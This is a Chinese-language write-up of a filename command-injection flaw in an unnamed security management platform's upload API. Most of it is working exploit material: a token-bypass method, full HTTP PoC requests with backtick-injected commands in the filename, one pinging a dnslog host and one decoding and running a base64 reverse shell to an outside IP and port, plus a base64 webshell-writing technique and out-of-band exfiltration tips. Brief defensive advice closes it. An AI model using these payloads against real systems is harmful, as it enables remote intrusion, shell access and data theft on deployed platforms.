某安防管理平台一次远程命令执行漏洞分析
字数 799 2025-08-19 12:41:22
某安防管理平台远程命令执行漏洞分析与利用
漏洞概述
该漏洞存在于某安防管理平台的文件上传功能中,攻击者可以通过精心构造的文件名实现远程命令执行(RCE)。漏洞的核心在于平台对上传文件名的处理不当,导致系统执行了文件名中包含的命令。
漏洞细节
漏洞位置
- 接口路径:
/svm/api/v1/productFile - 参数:
type=product&ip=127.0.0.1&agentNo=1
关键发现
- 平台存在Token鉴权机制,但可以通过特定方式获取有效Token
- 文件上传功能对文件名处理不当,导致命令注入
- 虽然不能直接上传包含"/"字符的文件名(阻止了直接写webshell),但可以通过其他方式实现命令执行
漏洞复现
攻击流程
- 获取有效的Token
- 构造恶意文件上传请求
- 通过文件名注入命令实现RCE
数据包构造
基础PoC
POST /svm/api/v1/productFile?type=product&ip=127.0.0.1&agentNo=1 HTTP/1.1
Host: [目标地址]
Token: [有效Token]
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data;boundary=---------------------------142851345723692939351758052805
Content-Length: 346
-----------------------------142851345723692939351758052805
Content-Disposition: form-data; name="file"; filename="`ping xxx.dnslog.cn`.zip"
Content-Type: application/zip
123
-----------------------------142851345723692939351758052805--
反弹Shell PoC
POST /svm/api/v1/productFile?type=product&ip=127.0.0.1&agentNo=1 HTTP/1.1
Host: [目标地址]
Token: [有效Token]
[...其他头部...]
-----------------------------142851345723692939351758052805
Content-Disposition: form-data; name="file"; filename="`echo L2Jpbi9zaCAtaSA+JiAvZGV2L3RjcC8xLjEuMS4xLzkwOTkgMD4mMQ== | base64 -d | bash`.zip"
Content-Type: application/zip
123
-----------------------------142851345723692939351758052805--
Token获取机制
- 平台对除
/static/外的所有路径都会进行Token验证 - 如果传入的Token无效,系统会生成并返回一个新的Token
- 通过构造特定请求可以获取有效Token
漏洞利用进阶
绕过限制写入Webshell
虽然文件名不能包含"/"字符,但可以通过以下方式写入webshell:
- 使用base64编码webshell内容
- 通过重定向将解码后的内容写入目标文件
示例:
echo [base64编码的webshell内容] | base64 -d > /path/to/target.php
无回显利用
当无法直接获取命令输出时,可以使用以下技术:
- DNS外带数据
- HTTP请求外带数据
- 时间盲注技术
防御建议
- 严格验证上传文件名,过滤特殊字符
- 实现更安全的Token生成和验证机制
- 对文件上传功能进行沙箱隔离
- 限制上传文件的可执行权限
- 定期进行安全审计和代码审查
总结
该漏洞展示了文件处理功能中常见的命令注入风险,以及鉴权机制设计不当可能带来的安全问题。开发人员应特别注意用户输入的处理,尤其是文件名、路径等可能影响系统行为的输入参数。